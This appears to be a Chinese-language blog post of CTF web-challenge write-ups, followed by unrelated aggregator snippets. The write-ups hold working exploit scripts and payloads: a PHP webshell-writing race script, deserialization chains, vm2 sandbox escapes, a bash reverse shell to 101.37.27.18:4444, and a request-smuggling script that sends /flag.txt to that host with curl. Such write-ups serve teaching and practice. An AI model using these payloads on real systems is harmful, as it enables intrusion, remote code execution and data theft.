请求的Cookie中包含Session ID注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。

image-20240721135511825

php session.upload_progress通用利用脚本

import requests
from re import findall as re_findall
from base64 import b64encode
from threading import ThreadHOST = 'http://node4.anna.nssctf.cn:28463/'
PHPINFO_URL = HOST + 'phpinfo.php'
LFI_URL = HOST + 'index.php'
WEB_SHELL = b'<?php eval($_POST[cmd]);?>'session_configures = {}
resp_text = re_findall('<td class="e">session\.(.*?)</td><td class="v">(.*?)</td>', requests.get(PHPINFO_URL).text)
list(map(lambda x : session_configures.update({x[0] : x[1]}), resp_text))
if session_configures['upload_progress.enabled'] != 'On':print('[-] Target is not vulnerable')exit(-1)success = Falsedef request_phpinfo():exploit = f"<?php file_put_contents('/tmp/.shell.php', base64_decode('{b64encode(WEB_SHELL).decode()}')); echo md5('ccc');?>"data = {session_configures['upload_progress.name'] : exploit}cookies = {'PHPSESSID' : 'c'}files = {'files' : ('hello.txt', b'A' * 1024 * 1024)}while not success:requests.post(PHPINFO_URL, data=data, cookies=cookies, files=files)def request_sess_file():global successdata = {'file' : session_configures['save_path'] + '/sess_c'}while not success:resp = requests.get(LFI_URL, params=data)if '9df62e693988eb4e1e1444ece0578579' in resp.text:print('[+] The webshell was successfully written to /tmp/.shell.php')success = TrueThread(target=request_phpinfo).start()
Thread(target=request_sess_file).start()

修改一下

import io
import requests
import threading
from cffi.backend_ctypes import xrangesessid = '0'
target = 'http://node4.anna.nssctf.cn:28463/'
file = 'ph0ebus.txt'
f = io.BytesIO(b'a' * 1024 * 50)def write(session):while True:session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},files={'file': (file, f)}, cookies={'PHPSESSID': sessid})def read(session):while True:resp = session.post(f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")if file in resp.text:print(resp.text)event.clear()else:print("[+]retry")# print(resp.text)if __name__ == "__main__":event = threading.Event()with requests.session() as session:for i in xrange(1, 30):threading.Thread(target=write, args=(session,)).start()for i in xrange(1, 30):threading.Thread(target=read, args=(session,)).start()event.set()

image-20240721140632112

[FSCTF 2023]ez_php2

源码

<?php
highlight_file(__file__);
Class Rd{public $ending;public $cl;public $poc;public function __destruct(){echo "All matters have concluded";die($this->ending);}public function __call($name, $arg){foreach ($arg as $key =>$value){if($arg[0]['POC']=="1111"){echo "1";$this->cl->var1 = "system";}}}
}class Poc{public $payload;public $fun;public function __set($name, $value){$this->payload = $name;$this->fun = $value;}function getflag($paylaod){echo "Have you genuinely accomplished what you set out to do?";file_get_contents($paylaod);}
}class Er{public $symbol;public $Flag;public function __construct(){$this->symbol = True;}public function __set($name, $value){$value($this->Flag);}}class Ha{public $start;public $start1;public $start2;public function __construct(){echo $this->start1."__construct"."</br>";}public function __destruct(){if($this->start2==="11111") {$this->start1->Love($this->start);echo "You are Good!";}}
}if(isset($_GET['Ha_rde_r']))
{unserialize($_GET['Ha_rde_r']);
} else{die("You are Silly goose!");
}
?> 

EXP

<?php
class Rd{public $ending;public $cl;public $poc;
}
class Poc{public $payload = ['POC'=>'1111'];public $fun;
}
class Er{public $symbol;public $Flag;
}
class Ha{public $start;public $start1;public $start2;
}
$a = new Ha;
$b = new Poc;
$c = new Er;
$d = new Rd;$a->start2 = "11111";
$a->start1 = $d;
$a->start = $b->payload;
$d->cl = $c;
$c->Flag = 'cat /flag';
echo serialize($a);

payload

O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}

image-20240721172553666

[SCTF 2021]loginme

I don’t know the age of the admin, can you tell me?By the way, admin’s Password maybe the thing you want

image-20240721173419307

xff,X-Clien-IP,X-Real-IP,x-remote-ip都代表本地,最后X-Real-IP成功进入

image-20240721173819147

然后分析源码

关键代码

image-20240721174231082

middleware

image-20240721174020113

成功进入后跳转跳到route.Login

image-20240721174402402

首先获取id,没有的话默认为1,然后将字符串形式的id转换为整数,如果转换失败,则id将被设置为1

structs.Users列表中查找与id匹配的用户,如果没有找到匹配项,则使用structs.Admin作为默认用户。

检查用户的年龄字段,如果为空,则从查询参数中获取age,如果仍然没有则使用默认值forever 18 (Tell me the age)

这里定义了一个结构体

image-20240721175148767

然后有一个模板渲染

tmpl, err := template.New("admin_index").Parse(html)

go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露

image-20240721175528022

而在go语言中使用的是{{.name}}代表要应用的对象,所以可以让age={{.Password}}

在这里插入图片描述

证实推断

image-20240721175641016

image-20240721175700694

[NSSRound#4 SWPU]ez_rce

啥也没有,抓包后发现apache版本为2.4.49 (Unix)

CVE-2021-41773(42013) Apache HTTP Server路径穿越漏洞复现_cve-2021-41773复现-CSDN博客

image-20240721180247059

同时dirsearch也有提示

image-20240721181126194

抓包修改

image-20240721181417264

直接访问看不了,最后在run.sh中看到flag的真实位置

image-20240721181459887

image-20240721181546704

[WUSTCTF 2020]CV Maker

随意注册一个账号登录

image-20240721182144867

文件上传

image-20240721183527789

image-20240721183044880

image-20240721183555041

flag在环境变量中

image-20240721183655428

[NSSRound#1 Basic]basic_check

PUT方法创建木马

image-20240721184733912

image-20240721184920543

[MoeCTF 2021]地狱通讯-改

直接给源码

from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwtapp = Flask(__name__)@app.route("/", methods=['GET', 'POST'])
def index():with open("app.py", "r") as f:ctx = f.read()res = make_response(ctx)name = request.args.get('name', '')if 'admin' in name or name == '':return respayload = {"name": name,}token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)res.set_cookie('token', token)return res@app.route('/hello', methods=['GET', 'POST'])
def hello():token = request.cookies.get('token')if not token:return redirect('/', 302)try:name = jwt.decode(token, secret, algorithms=['HS256'])['name']except jwt.exceptions.InvalidSignatureError as e:return "Invalid token"if name != "admin":user = User(name)flag = request.args.get('flag', '')message = "Hello {0}, your flag is {1}".format(user, flag)return messageelse:return render_template('flag.html', name=name)if __name__ == "__main__":app.run()

大致看一眼,刚学的jwt伪造

  1. index 路由:这个路由处理根路径 “/” 的请求,支持 GET 和 POST 方法。首先,它读取文件 “app.py” 的内容并将其作为响应返回。然后,从请求参数中获取名为 “name” 的值,如果该值包含 “admin” 或者为空字符串,将返回之前读取的 “app.py” 内容作为响应。否则,将使用提供的 “name” 构造一个 JWT 载荷(payload),然后使用指定的密钥 secret 和头部 headers 生成 JWT,将生成的 JWT 放入 cookie 中,最后将 “app.py” 内容作为响应返回。
  2. hello 路由:这个路由处理 “/hello” 路径的请求,同样支持 GET 和 POST 方法。首先,它尝试从请求的 cookie 中获取名为 “token” 的 JWT。如果没有找到 token,将重定向到根路径 “/”. 如果找到 token,则尝试解码 JWT 并从中提取 “name” 字段的值。如果 JWT 验证失败(可能是因为签名不匹配),返回 “Invalid token”。
  3. 如果 “name” 字段不是 “admin”,则创建一个 User 实例,然后从请求参数中获取名为 “flag” 的值(如果存在)。接下来,根据用户的信息构造一条欢迎消息,将 flag 值嵌入消息中,然后将这个消息作为响应返回。
  4. 如果 “name” 字段是 “admin”,则渲染一个名为 “flag.html” 的模板,并传递 “name” 作为参数。

这里需要两个条件,secret和headers

用ssti漏洞带出这两个条件

创建一个用户

image-20240721192742870

得到对应的jwt的值

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTIzIn0.pEkv9ha7ygfhxZay1tBtb48vjBzAW05Rw4-azvvefGA

拉出来看一下具体内容

带着token去访问

image-20240721192942764

尝试ssti

{0.__class__.__init__.__globals__}

image-20240721193627529

secret: u_have_kn0w_what_f0rmat_i5

headers: {‘alg’: ‘HS256’, ‘typ’: ‘JWT’}

验证成功

image-20240721193726623

将用户改为admin

image-20240721193809514

将伪造好的jwt放入token重新发包访问hello路由得到flag

image-20240721193908109

[HZNUCTF 2023 final]eznode

Nodejs vm/vm2沙箱逃逸_nodejs vm2-CSDN博客

vm沙箱逃逸初探 | XiLitter

image-20240722085351426

提示尝试查看源码,最直观的就是node.js配置错误造成的源码泄露了,直接访问app.js获得页面源码

const express = require('express');
const app = express();
const { VM } = require('vm2');app.use(express.json());const backdoor = function () {try {new VM().run({}.shellcode);} catch (e) {console.log(e);}
}const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
const clone = (a) => {return merge({}, a);
}app.get('/', function (req, res) {res.send("POST some json shit to /.  no source code and try to find source code");
});app.post('/', function (req, res) {try {console.log(req.body)var body = JSON.parse(JSON.stringify(req.body));var copybody = clone(body)if (copybody.shit) {backdoor()}res.send("post shit ok")}catch(e){res.send("is it shit ?")console.log(e)}
})app.listen(3000, function () {console.log('start listening on port 3000');
});

学习一下相关知识

内置模块的函数

  1. require()

    const express = require('express');
    

    require()函数用于加载Node.js模块或文件。例如,require('express')加载了Express框架,使你能够使用其提供的功能。

  2. console.log()

    console.log(req.body);
    console.log(e);
    

    console.log()是Node.js中用于在控制台输出信息的函数,它通常用于调试目的。

  3. JSON.parse()JSON.stringify()

    var body = JSON.parse(JSON.stringify(req.body));
    

    JSON.parse()用于将JSON格式的字符串转换成JavaScript对象,而JSON.stringify()则将JavaScript对象转换成JSON字符串。在上面的例子中,JSON.stringify(req.body)将请求体转换成字符串,然后JSON.parse()又将其转换回对象,但这实际上是不必要的,因为req.body已经是一个对象。

  4. app.listen()

    app.listen(3000, function () {console.log('start listening on port 3000');
    });
    

    app.listen()是Express框架中的方法,用于启动HTTP服务器并监听特定的端口。在这个例子中,服务器将在3000端口上监听。

Express框架相关的函数

  1. app.use()

    app.use(express.json());
    

    app.use()是Express的中间件注册函数。在这个例子中,它注册了一个JSON解析中间件,使得服务器能够解析JSON格式的POST请求体。

  2. app.get()app.post()

    app.get('/', function (req, res) {});
    app.post('/', function (req, res) {});
    

    这些方法用于定义路由处理函数。app.get()定义了处理GET请求的路由,app.post()定义了处理POST请求的路由。req参数是请求对象,包含了客户端发送的所有信息;res参数是响应对象,用于向客户端发送数据。

自定义函数

  1. backdoor()

    const backdoor = function () {};
    

    这个函数尝试在一个沙箱环境中运行潜在的恶意代码,这是一个非常危险的操作,因为它可能允许远程代码执行。

  2. isObject()

    const isObject = obj => obj && obj.constructor && obj.constructor === Object;
    

    这个函数用于检查一个变量是否是普通的JavaScript对象。

  3. merge()

    const merge = (a, b) => {};
    

    这个函数用于合并两个对象,如果对象中有嵌套的对象,它会递归地进行合并。

  4. clone()

    const clone = (a) => {};
    

    这个函数用于创建一个对象的深拷贝,使用merge()函数实现。

传入一个json数据,经过json.parse函数解析,再通过clone()函数复制到copybody中

image-20240722090830557

vm2会执行shellcode属性里面的内容,我们需要将该属性污染成vm2沙箱逃逸的payload即可执行命令,exp

{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}
(' + function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}
}+')()
(' + function(){try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}
}+')()
(function (){TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();}
})()

没有回显,反斜杠转义,bash里面单引号不行就换双引号

{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/101.37.27.18/4444 0>&1\"').toString();"}}

image-20240722092054164

image-20240722092115217

[西湖论剑 2022]real_ez_node

image-20240722093816221

app.js

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({secret : 'secret', // 对session id 相关的cookie 进行签名resave : true,saveUninitialized: false, // 是否保存未初始化的会话cookie : {maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒},
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) {    // 设置使用 ejs 模板引擎 
//   fs.readFile(filePath, (err, content) => {
//       if (err) return callback(new Error(err))
//       let compiled = lodash.template(content)    // 使用 lodash.template 创建一个预编译模板方法供后面使用
//       let rendered = compiled()//       return callback(null, rendered)
//   })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {next(createError(404));
});// error handler
app.use(function(err, req, res, next) {// set locals, only providing error in developmentres.locals.message = err.message;res.locals.error = req.app.get('env') === 'development' ? err : {};// render the error pageres.status(err.status || 500);res.render('error');
});module.exports = app;

index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{if (req.query.q) {console.log('get q');}res.render('index');
})
router.post('/copy',(req,res)=>{res.setHeader('Content-type','text/html;charset=utf-8')var ip = req.connection.remoteAddress;console.log(ip);var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {obj.msg="only for admin"res.send(JSON.stringify(obj));return }let user = {};for (let index in req.body) {if(!index.includes("__proto__")){safeobj.expand(user, index, req.body[index])}}res.render('index');
})router.get('/curl', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:3000/?q=' + qtry {http.get(url,(res1)=>{const { statusCode } = res1;const contentType = res1.headers['content-type'];let error;// 任何 2xx 状态码都表示成功响应,但这里只检查 200。if (statusCode !== 200) {error = new Error('Request Failed.\n' +`Status Code: ${statusCode}`);}if (error) {console.error(error.message);// 消费响应数据以释放内存res1.resume();return;}res1.setEncoding('utf8');let rawData = '';res1.on('data', (chunk) => { rawData += chunk;res.end('request success') });res1.on('end', () => {try {const parsedData = JSON.parse(rawData);res.end(parsedData+'');} catch (e) {res.end(e.message+'');}});}).on('error', (e) => {res.end(`Got error: ${e.message}`);})res.end('ok');} catch (error) {res.end(error+'');}} else {res.send("search param 'q' missing!");}
})
module.exports = router;

猜测是原型链污染,__proto__被过滤,使用constructor.prototype

image-20240722094915229

访问/copy的ip被限制,通过访问/curl利用HTTP走私向/copy发送POST请求,然后污染原型链实现代码执行。curl路由只有q参数可控

{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}

POST道

import urllib.parse
import requestspayload = ''' HTTP/1.1POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 101.37.27.18:4444/`cat /flag.txt`');var x"}
'''.replace("\n", "\r\n")def encode(data):tmp = u""for i in data:tmp += chr(0x0100 + ord(i))return tmppayload = encode(payload)
print(payload)r = requests.get('http://node4.anna.nssctf.cn:28807/curl?q=' + urllib.parse.quote(payload))
print(r.text)

image-20240722100733444

[GFCTF 2021]ez_calc

题目提示

1.别想太复杂,试着传传其他数据类型
2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有提示都只针对登陆后的操作。

image-20240722101425663

小写得是admin大写得是ADMIN。考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı会变成I
这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制
同样的"K"的“小写”字符是k,也就是"K".toLowerCase() == ‘k’.

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

admın/admin123

成功对接

image-20240722101811761

源码在f12中可以看到

let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {flag = true;calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);}
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");calc = calc.replace(/\\/g, "\\\\");//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {calc = calc.replace("x", "");
}try {result = eval(calc);}

eval(calc)产生命令执行

但是slice是从第四的元素开始替换,存在逻辑问题,可以逃逸前四个字符(任意值),会发现可以绕过这个判断实现逃逸

禁止了 x 不能有exec

require("child_process").spawn('sleep', ['3']);
calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

image-20240722103234648

尝试读取文件,没有回显

calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

写入静态文件读取

calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*>a').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

[HDCTF 2023]YamiYami

三个按钮,一个个来

image-20240722190813787

读取,php伪协议直接读,读flga和app.py时有过滤

image-20240722190752517

image-20240722190930204

读取环境变量

http://node4.anna.nssctf.cn:28745/read?url=file:///proc/1/environ

image-20240722191042710

无疑是非预期解,这里要获取源码

urllib.request.urlopen可以直接接受urlencode的路径, 但是读本地文件时最前面的/要保留, 不能编码为%2F

因此,我们需要对/app/app.py进行二次编码,第一个/不能编码

得到

/%25%36%31%25%37%30%25%37%30%25%32%46%25%36%31%25%37%30%25%37%30%25%32%45%25%37%30%25%37%39

image-20240722191557128

访问后得到源码

image-20240722191619330

然后就是熟悉的session伪造

首先找到secret生成方式

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)

读mac

/etc/passwd用来判断读取漏洞的存在
/etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname表示主机名。
/etc/issue指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位

image-20240722192346256

生成secret

import randomif __name__ == '__main__':random.seed(0x0242ac02a812)print(str(random.random() * 233))
207.12851557558668

image-20240722193916810

python flask_session_cookie_manager3.py encode -t "{'passport': 'Welcome To HDCTF2023'}" -s  "62.6539852098"

image-20240722194312461

image-20240722195318126

image-20240722194615829

上传后通过/boogipop路由去访问响应文件即可

http://node4.anna.nssctf.cn:28540/boogipop?file=uploads/1.txt

image-20240722200622404

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/874508.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

微服务和VUE入门教程(16): zuul 熔断

1. 前言 在开发工程中&#xff0c;我们发现当一个微服务挂掉之后&#xff0c;如果我们访问此微服务的接口&#xff0c;zuul也会挂掉。因为zuul负责分配请求&#xff0c;当目标微服务挂掉之后&#xff0c;zuul便找不到目标微服务&#xff0c;因为我们需要设置一个熔断&#xff0…

电机调速控制模块说明文档

电机调速控制模块说明文档 图1-1总览图片 概述本电机控制模块是用于精确控制直流无刷电机运行、以及转速的关键组件&#xff0c;它能够实现对电机的启动、停止、调速、转向等操作&#xff0c;并提供多种保护功能&#xff0c;以确保电机的安全稳定运行。 驱动方式&#xff1a;…

如何学习Python:糙快猛的大数据之路(学习地图)

在这个AI和大数据主宰的时代,Python无疑是最炙手可热的编程语言之一。无论你是想转行还是提升技能,学习Python都是一个明智之选。但是,该如何开始呢?今天,让我们聊聊"糙快猛"的Python学习之道。 什么是"糙快猛"学习法? "糙快猛"学习法,顾名思…

OpenGL笔记十四之GLM数学库的配置与使用

OpenGL笔记十四之GLM数学库的配置与使用 —— 2024-07-20 中午 bilibili赵新政老师的教程看后笔记 code review! 文章目录 OpenGL笔记十四之GLM数学库的配置与使用1.旋转变换运行效果2.平移变换运行效果3.缩放变换运行效果4.复合变换&#xff1a;先旋转 再平移运行效果5.复合…

OpenTeleVision复现及机器人迁移

相关信息 标题 Open-TeleVision: Teleoperation with Immersive Active Visual Feedback作者 Xuxin Cheng1 Jialong Li1 Shiqi Yang1 Ge Yang2 Xiaolong Wang1 UC San Diego1 MIT2主页 https://robot-tv.github.io/链接 https://robot-tv.github.io/resources/television.pdf代…

八股文之java基础

jdk9中对字符串进行了一个什么优化&#xff1f; jdk9之前 字符串的拼接通常都是使用进行拼接 但是的实现我们是基于stringbuilder进行的 这个过程通常比较低效 包含了创建stringbuilder对象 通过append方法去将stringbuilder对象进行拼接 最后使用tostring方法去转换成最终的…

独立开发者系列(31)——fastadmin项目的二次开发

在前面构建项目的fastadmin入门 里面&#xff0c;我们已经能快速搭建该体系和根据数据表建立最简单的CURD项目。类似练手的图书管理系统&#xff0c;内部项目修改管理&#xff0c;也对系统进行了简单的部署。这梳理拿到真正项目的开发流程。 默认的开发目录和代码程序运行的是p…

【Linux系统化学习】数据链路层

目录 数据链路层解决的问题 以太网 认识局域网 以太网帧格式 两个问题 认识MAC地址 认识MTU ARP协议 ARP协议的作用 ARP数据报格式 ARP协议的工作流程 数据链路层解决的问题 对于TCP/IP四层协议来说&#xff0c;数据链路层才是真正从传送数据进行跑腿办事情的&…

excel批量新建多个同类型的表格

背景引入 比如&#xff0c;一个企业有多个部门&#xff0c;现在需要按照某一个excel表模板收集各个部门的信息&#xff0c;需要创建数十个同类型表格&#xff0c;且标题要包含部门名称。 1.修改模板表格标题 在一个文件夹下面放入需要发放给各个部门的表格&#xff0c;将标题…

微软蓝屏事件暴露的网络安全问题

目录 1.概述 2.软件更新流程中的风险管理和质量控制机制 2.1.测试流程 2.2.风险管理策略 2.3.质量控制措施 2.4.小结 3.预防类似大规模故障的最佳方案或应急响应对策 3.1. 设计冗余系统 3.2. 实施灾难恢复计划 3.3. 建立高可用架构 3.4. 类似规模的紧急故障下的响应…

Kotlin泛型实化

内联函数 reified实现 1. 内联函数 内联函数中的代码会在编译的时候自动被替换到调用它的地方&#xff0c;这样的话也就不存在什么泛型擦除的问题了&#xff0c;因为代码在编译之后会直接使用实际的类型来替代内联函数中的泛型声明。 2. reified关键字 在Kotlin中&#xff0…

秒杀优化: 记录一次bug排查

现象 做一人一单的时候&#xff0c;为了提升性能&#xff0c;需要将原来的业务改造成Lua脚本加Stream流的方式实现异步秒杀。 代码改造完成&#xff0c;使用Jmeter进行并发测试&#xff0c;发现redis中的数据和预期相同&#xff0c;库存减1&#xff0c;该用户也成功添加了进去…

【Node】npm i --legacy-peer-deps,解决依赖冲突问题

文章目录 &#x1f356; 前言&#x1f3b6; 一、问题描述✨二、代码展示&#x1f3c0;三、运行结果&#x1f3c6;四、知识点提示 &#x1f356; 前言 npm i --legacy-peer-deps&#xff0c;解决依赖冲突问题 &#x1f3b6; 一、问题描述 node执行安装指令时出现报错&#xff…

ES中的数据类型学习之ALIAS

Alias field type | Elasticsearch Guide [7.17] | Elastic 这里只针对data type的alias&#xff0c;暂时不说 index的alias。直接实战开始 PUT trips { "mappings": { "properties": { "distance": { "type": &…

Linux、Windows和macOS上使用Telnet

